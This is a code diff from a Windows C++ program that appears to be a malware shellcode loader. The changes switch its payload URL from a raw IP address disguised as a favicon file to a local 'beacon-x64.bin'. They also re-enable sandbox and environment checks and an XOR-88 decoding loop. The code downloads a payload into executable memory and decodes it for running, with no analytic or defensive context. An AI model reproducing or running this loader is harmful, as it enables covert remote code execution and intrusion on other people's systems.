@@ -198,33 +198,32 @@ bool whereisWIFI()
198
198
199
199
int main () {
200
200
201
- // whoisyourdad();
201
+ whoisyourdad ();
202
202
tbCheck ();
203
- /* if (regCheck()) {
203
+ if (regCheck ()) {
204
204
printf (" Hello,world!" );
205
205
return 0 ;
206
- }*/
206
+ }
207
207
HINTERNET inet = InternetOpenA (" Python api test" , INTERNET_OPEN_TYPE_DIRECT, NULL , NULL , 0 );
208
208
if (inet == NULL ) {
209
209
cout << " Error opening internet connection: " << GetLastError () << endl;
210
210
return 1 ;
211
211
}
212
- HINTERNET url = InternetOpenUrlA (inet, " http://45.153.131.130:30080/favicon.lco" , NULL , 0 , INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0 );
213
- /* HINTERNET url = InternetOpenUrlA(inet, "http://45.153.131.130:40080/favicon.lco", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0);*/
214
- /* if (url == NULL) {
212
+ HINTERNET url = InternetOpenUrlA (inet, " http://localhost/beacon-x64.bin" , NULL , 0 , INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0 );
213
+ if (url == NULL ) {
215
214
cout << " Error opening URL: " << GetLastError () << endl;
216
215
InternetCloseHandle (inet);
217
216
return 1 ;
218
- }*/
217
+ }
219
218
220
219
DWORD size = 295940 ;
221
220
222
- /* if (!InternetQueryDataAvailable(url, &size, 0, 0)) {
221
+ if (!InternetQueryDataAvailable (url, &size, 0 , 0 )) {
223
222
cout << " Error getting shellcode size: " << GetLastError () << endl;
224
223
InternetCloseHandle (url);
225
224
InternetCloseHandle (inet);
226
225
return 1 ;
227
- }*/
226
+ }
228
227
229
228
// Allocate memory and read the shellcode into it
230
229
LPVOID testcodes = VirtualAlloc (NULL , size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
@@ -255,10 +254,10 @@ int main() {
255
254
InternetCloseHandle (url);
256
255
InternetCloseHandle (inet);
257
256
258
- /* for (DWORD i = 0; i < size; i++) {
257
+ for (DWORD i = 0 ; i < size; i++) {
259
258
*((LPBYTE)testcodes + i) = *((LPBYTE)testcodes + i) ^ 88 ;
260
- }*/
261
- // whereisWIFI();
259
+ }
260
+ whereisWIFI ();
262
261
// ((void(*)())testcodes)();
263
262
PVOID lpContext;
264
263
BOOL bStatus;
0 commit comments